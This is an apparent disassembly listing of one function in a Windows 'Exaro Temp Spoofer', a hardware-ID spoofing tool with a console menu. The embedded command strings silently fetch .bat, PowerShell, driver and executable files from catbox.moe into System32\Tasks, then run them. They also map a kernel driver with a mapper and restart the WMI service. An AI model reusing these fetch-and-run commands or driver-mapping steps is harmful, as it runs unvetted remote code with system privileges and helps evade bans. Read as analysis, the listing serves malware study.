Function at 0x1401c8270
Capabilities:
Execute command
Set console window title
Terminate process

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1401cd040]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.Exaro_Free_Temp
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.color_B
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_______________________________n__Exaro_Temp_Spoofer__Free_______n__Leave_a_rep_in_vouches________n__Version_2_____________________n_______________________________n
call fcn.1401c8690
lea rdx, [0x1401c8870]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str._1__Temp_Spoof
call fcn.1401c8060
lea rcx, str._n_2__Mac__Monitor_Spoof
call fcn.1401c8060
lea rcx, str._n_3__Serial_Checker
call fcn.1401c8060
lea rcx, str._n_4__Clean__Use_your_own_
call fcn.1401c8060
lea rcx, str._n_5__Exit_n
call fcn.1401c8060
lea rcx, str._nSelect_Action__
call fcn.1401c8060
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rsp + 0x20]
sub ecx, 1
je 0x1401c84e0
sub ecx, 1
je 0x1401c8488
sub ecx, 1
je 0x1401c83c9
sub ecx, 1
je 0x1401c8371
cmp ecx, 1
je 0x1401c8588
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Invalid_choice._n
call fcn.1401c8690
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1401ca4fc]
jmp 0x1401c8297
lea rcx, [0x1401ca4fc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32Tasks_aspndl.bat__https:__files.catbox.moe_aspndl.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Tasks_aspndl.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32Tasksu262cw.bat__https:__files.catbox.moe_u262cw.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Tasksu262cw.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1401ca4fc]
jmp 0x1401c8297
lea rcx, [0x1401ca4fc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_Bios
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_csproduct_get_uuid
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_CPU
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_cpu_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_cpu_get_processorid
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_Diskdrive
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_Baseboard_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_Baseboard_manufacturer
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_baseboard_get_manufacturer
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_MacAddress
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_path_Win32_NetworkAdapter_where__PNPDeviceID_like___PCI___AND_NetConnectionStatus2_AND_AdapterTypeID0__get_MacAddress
jmp 0x1401c84c3
lea rcx, [0x1401ca4fc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32Tasksj8pnfo.bat__https:__files.catbox.moe_j8pnfo.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Tasksj8pnfo.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32Tasks_tt6634.ps1__https:__files.catbox.moe_tt6634.ps1_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell.exe_C:WindowsSystem32Tasks_tt6634.ps1_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1401ca4fc]
jmp 0x1401c8297
lea rcx, str.____Downloading_requirements
call fcn.1401c8060
lea rcx, [0x1401ca4fc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.____Mapping_driver__Check_your_serials__
call fcn.1401c8060
lea rcx, str.curl___silent__o_C:WindowsSystem32Taskspwbvm3.sys__https:__files.catbox.moe_pwbvm3.sys_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32Tasksmapper.exe__https:__files.catbox.moe_wvsaqx.bin_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Taskspwbvm3.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1401ca4fc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1401ca4fc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, str.Done_
lea rdx, str.Spoofed_Successfully_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [0x1401ca4fc]
jmp 0x1401c8297
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3